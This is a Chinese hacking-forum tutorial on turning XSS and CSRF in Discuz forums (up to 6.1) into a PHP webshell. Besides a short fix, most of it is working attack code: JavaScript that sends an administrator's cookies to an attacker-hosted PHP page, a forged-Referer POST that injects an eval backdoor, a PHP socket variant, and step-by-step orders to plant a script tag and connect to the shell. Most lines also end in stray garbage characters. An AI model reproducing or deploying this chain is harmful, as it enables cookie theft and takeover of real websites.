Discuz XSS得webshell
& g1 H& f n0 c0 K5 _7 k: _# j' HBy racle @tian6.com: z5 ?. G6 Q, x( P
欢迎转帖.但请保留版权信息.
( G: ]# O4 c$ c6 c# g7 \受影响版本 iscuz<=6.1.0,gbk+utf+big5
8 C9 y4 m( j. i* T9 I4 V `
$ g! p* u3 q& m% w6 t2 ` N新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
4 {( a5 h6 M2 I/ |2 ~- |# s ], h1 c" O& B" e: b4 ~3 P
0 Q3 ^ {. r6 {, I4 D: V4 h$ h3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706- x1 ~) |2 o* C R
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.7 m# p s) t9 u+ d# ?1 S* ^$ [
8 {! a; q$ A0 R6 s/ M6 p分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
4 d) }9 x+ S2 E% [本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS! W: e& \* O# n% C1 [& Q
9 Q) c b/ b5 X5 Z
0 B/ g5 n4 l/ m% w# |5 U
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
. \' G3 `/ i5 @+ S, v. t) h9 n: F# o6 K O3 P9 P5 F- r
" M* m5 [2 [0 P3 ?problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
* U/ v7 [+ U. g8 G) ?2 g) z5 B5 K+ Z+ U4 I
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.! U' L) A) V; e Q
2 N5 d$ X# h4 x# {1 B
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.0 o. M" d3 f4 c. ?7 Q0 Q3 v6 g2 H
/ Y$ O; h% h2 }6 S& a {' Q5 D
6 A# y1 x3 `3 v Z+ _. z$ Z
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
# U5 Q; r+ I# `& R% s9 I+ D. `
( N" E$ V, b Z- _ global $runwizardfile, $runwizardhistory;) c( e+ v- w5 ^
) L& B+ ^. l; m2 Z3 x" L $fp = fopen($runwizardfile, 'w');
/ C7 v/ B' c( C6 H
9 } c# A/ e- l9 W ^! \ fwrite($fp, serialize($runwizardhistory));
8 P* `3 x+ i b3 `/ U6 Z3 D) K, S7 Z
fclose($fp);
6 V% k9 I3 I! ^
# ^3 e6 p" e+ R U} }" a: b4 B) z! D6 L5 o" B
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.1 }7 y, o" E; t
以下是修补的办法:function saverunwizardhistory() {
2 @9 B! t {$ Y! d
% r. X+ U$ g" }+ u! {& F+ w7 a global $runwizardfile, $runwizardhistory;
: _# ~' j: u; P' W) ~# G
0 j9 g% w" ^- |0 k: K( U $fp = fopen($runwizardfile, 'w');
7 w: \ ?6 P* {; B% L, {5 Y& U! O! F- h' t' E
$s = '<?php exit;?>';6 [' i# e* H* k8 ]
# f7 ?' @# l& Y/ l9 O0 P/ a
$s .= serialize($runwizardhistory);/ y' V# c$ @ h
: m5 ]3 n5 Y# i }0 ?7 @
fwrite($fp, $s);
( m0 M1 ~ ~' S$ F! H
8 H! i5 p+ g. k1 A fclose($fp);: n; ~0 Q4 H7 {2 X! H& @' m
1 N) W4 e5 N& j6 n0 N}6 d# v j& n3 z: u4 \) y2 D
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& H: g% Y4 ~' l. K" e
3 R: A+ B \: x6 U" Y
! l+ ?+ E- H4 x$ b$ i& }8 M& F0 O& x7 W/ E7 L1 ?- H
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
0 ?# Z' @0 [ O7 P0 ~% Y- a
$ I8 t6 P, e3 K8 ~/ r* W# f. q- ^1 `8 q _' I4 k' J3 U- ^0 a
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
1 Y, D5 C/ Z* v. A% f7 i7 W
/ V2 e, h3 o; c0 k5 j2 e我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
2 o$ b: R, @# E# `; V* c& a& ~: N
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
/ x, b) Y. {! e# t6 u6 c: {+ C" x3 D% w6 a8 I8 Z
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:2 q: k: ?4 Z( T- z
. d1 ^$ p* b( W4 Z" f- ]- @var url="http://目标网站/admincp.php";
& f! v( S- q' n, W' ?* u1 z' f* V5 H
/*获得cookies*/
0 a: a& \* `. T/ r
* }& i1 K. f2 ~% Sfunction getURL(s) {4 @/ o9 w. a* Z# _
* o, X, l" _; `7 V7 ]. e* X
var image = new Image();
( [3 h+ S/ Q! g% q6 r6 G5 R) H
1 Z% {( a4 k" }' x& ?4 Rimage.style.width = 0;
: M$ `& ~$ \ J5 N9 U' h/ R2 Z: Z, C! T2 U1 v' L# ~
image.style.height = 0;
+ J. z _) L0 ~. @: h" _
: b0 V: x& d9 }1 Y1 O2 Iimage.src = s;
3 e! M2 p8 L" P% D
1 z% ^( B" Y" ]4 E: L" e( R}
& H2 z2 i! @9 T8 N2 |( O9 y
5 P2 w3 j6 {" l. n" r# d! [getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
. X1 G h1 T' J2 v( d: L) f复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];1 a8 H& ]7 P8 \, {
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
, \$ T$ D i2 Y/ p: I. {
}) O, ?2 Y9 q- W9 C, i7 Z2 O, Z( S) ^
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";- f j! C' n+ M; G
8 t1 v. C, n" N& P
* N( Q0 ?/ W9 Q" }3 N, K
/ M/ u$ Q8 K* r) Z# L
/*hash*/; ]1 ?" Z9 D* d/ Q) l' c2 I& m
+ Y+ N# \; x9 Q3 v2 U3 J9 }, dvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");* D5 ^0 v z- @# p( @" K4 y
7 d' H5 l3 a4 K( W& E& lxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
2 W* S @( A1 R- p; V8 z3 O: J) Q- [' t% g0 X0 j U6 S* ?( }' T
xmlHttpReq.send();
, a# t" o( B3 l$ l2 y( d# Q: @3 z8 |& p8 D$ t
var resource = xmlHttpReq.responseText;
* a* g; J4 K `+ J5 r3 x5 m$ b1 z k, _
var numero = resource.search(/formhash/);6 b0 |! z0 k8 {, o v; t& q
8 W# p1 O$ O. @ ?var formhash=encodeURIComponent(resource.substr(numero+17,8));* ?7 t9 ^4 Q' N- w, R* R
' J |; Z, [ u& l! R/ Q* s* x; D/ Y, N7 Q
' u$ u' r: ?9 X. Z# x* z
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
4 O% @! g& B8 D+ y) Z b N. [5 U7 a3 D6 J3 F& D6 ^! I
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
8 \' x/ ?* h4 X& N* i3 i, V5 ?& Q% J; r& y4 f
xmlHttpReq.setRequestHeader("Referer", url);. N1 D5 Y6 V* m3 J
2 M7 {( _" R- X& v8 ZxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 Z/ \& x+ W- s* B
- v1 s$ T& m8 z1 C* u0 rxmlHttpReq.setrequestheader("content-length",post.length); & Z' j0 H5 D; i& _6 _# T& e
4 k: v/ v% o+ ]
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); + W" s- n* a0 g9 A3 M2 ?
; `$ z4 X9 @4 s
xmlHttpReq.send(post);//发送数据
, d1 X; |+ ^6 E6 K9 b- b) D& q复制代码这里HASH我假设正确,这样提交,也无须cookies
, U" W2 e7 q5 X4 ~& N9 }$ A; X3 k$ a; E' M5 q
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);; g8 ]4 y' E; J) I( W% ^6 |6 T3 G# R
g* t& y( y$ q& ?6 u1 t" L! Aif (!$sock) die("$errstr ($errno)\n");7 z6 u U1 \3 z9 h( c
. q. ?3 Y4 v* m% `: K, c
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';. p0 F3 H' A4 ]2 }
+ X1 [3 X6 z8 ~6 R& m! P( g
6 j+ j' ?6 [% Z! F, D7 q
R# e) c7 f3 N5 s2 s
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");( G0 o! z/ ?, q# \9 j2 }
9 D0 x* y3 O0 f, X" k5 v" c) V5 @
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
) u* C) h' w7 N( T5 k
4 W! v" v5 r, x: ]* a$ E8 y" G* Mfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
$ x" Q4 P: ?# h) M8 X7 t; D- F
( y8 _& y6 H7 ?. Yfwrite($sock, "Accept-Language: zh-cn\r\n");
+ H3 j( K4 F, A6 i6 H: g9 q Z! j4 a
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
+ e x6 m8 c: Z* Y2 X; U/ ~( ?/ ^. F$ e# ?
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");( L: r, Z* `7 L- S
3 D" `! a' o7 m) g+ @% l$ L/ xfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");3 D8 v% L8 ^* V2 Q
1 J$ f9 }) m# s5 f6 hfwrite($sock, "Host: $url\r\n");
3 H# D9 J, C- P9 d% q% u& v6 c; E% W4 \
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
; _ o; M* {# |! m2 M5 N' z0 R/ @& l# d- z5 X! B7 `+ x+ L
fwrite($sock, "Connection: Keep-Alive\r\n");
6 E; L) |$ C. D# q6 N7 P
. I( }2 Q2 A" h( ^0 m1 `0 W: {" Ufwrite($sock, "Cache-Control: no-cache\r\n");
1 A9 `4 J4 p, A' L# m9 y8 m* }2 f6 q6 u
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
' a+ w; ~; N% _6 m4 \
7 j% s! Y. S" {( }1 p& nfwrite($sock, $data);
6 g w; m: W. t% t! t& X
4 ?1 d4 p" c. I( Z- O6 ~
+ n; Z A& a0 @6 u" r) U% _( F7 G
+ w7 F# u a) c! v: N! B1 N/ K$headers = "";
# l/ a* d+ z: B
3 b8 w' X0 P3 G6 u6 @% ~while ($str = trim(fgets($sock, 4096)))* L9 _, d% v8 s/ h% w$ m; o" N
2 U: @. O3 e) x. T4 J
$headers .= "$str\n";
( P" S* b" c& w3 G P$ J( Z. f5 B4 R- u, C- X6 Y
echo "\n";, L7 n4 J8 Y# k& c4 l! A
" z# A/ }; Z8 t" }" e5 g e- F$body = "";
1 |8 T) _7 o4 ?( ^/ t z! Q# x8 E2 A; e/ T6 w m$ O
while (!feof($sock))
% B( v0 N8 y1 `( E3 z+ v) c u' ~- W. }0 ^0 \0 o3 \# L1 m
$body .= fgets($sock, 4096);5 c" T6 _, X) V% @7 [: x$ k: g
, y+ P. C' b8 u; G" {! t4 f H" qfclose($sock);; n* t/ q$ W9 R5 Y+ \
8 A$ w7 w( u6 F: a0 g7 e! z+ Gecho $body;9 \5 B+ g$ I" d# m
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^( f" j( O) k1 _; \: V6 f0 b
2 B+ j4 q& p+ Z2 C4 P
0 A7 D; A3 K8 k3 E/ h-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------* e8 [* D, q0 V2 H/ H
' e& T( p6 a# X4 x
7 N' F. y( e8 l3 k) m) v1 HP SOCKET利用方法首先打开racle.js: A |1 a S8 f6 e& K% |
2 I o: T1 j( u( Z; D" v% q- Q
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home3 _5 j2 t# d# x( \
% a* w$ D4 J& V' Z2 w9 ?; f
% i) k4 T- L- E' E2 A2 R6 M& Q
& Y( n% q0 S6 i/ @, d2 C
然后打开racle@tian6.php( A t$ x% g1 D- a
0 z6 P. P: u) y$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com/ f- W s6 A- d' q
# P* H0 [. }! R& n9 ^! Y/ `: x9 A
/ E6 x, M9 W4 t, Y9 m. s1 t( l2 u$ i6 V
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:. Q- X9 [4 G2 P( w1 K3 D" @1 M5 |1 x
, {. ?, n; a- ^- A4 ?( [% `
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));8 e' E2 N n7 h+ `, T0 r0 |
( \- p. O4 h! Y8 E2 v* @
为$ Q+ g, c$ x) m- J! }* q
0 u' L. u# q" y
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));/ X! a" M3 q; a
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.2 c& W: s$ [, t: B A( y( k& k. y" \
; _/ x) v5 _4 [, ^1 v/ T
0 A0 X# m; s4 C. k& h4 {$ U
4 q, x2 R! s& O: \) \
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
5 U; R& T) P8 A5 W. x! d; D3 \* m
var formhash=encodeURIComponent(resource.substr(numero+17,8));
! Y; B* b# _) L: C$ H% ]! v$ f9 M; f' j
为
1 n) z# }% o* v: g
0 O6 F) A( j8 ]var formhash=encodeURIComponent(resource.substr(numero+9,8));3 z" G ~" s; G
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.) p4 Q. t/ O, F) d5 `
F# O# ? y! ~( ^( } W, W p
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
) B' y, C' B( W" f% R6 F3 f2 g3 q0 g0 b( \- ^0 k( o, n# k; ]
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.: A# x) H' o- ^- P$ J- O! X9 e
! j/ d% A i) d' t$ p5 f5 I+ f
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.$ S$ d0 g& c5 j: ]
0 a& A, K5 s3 q- u |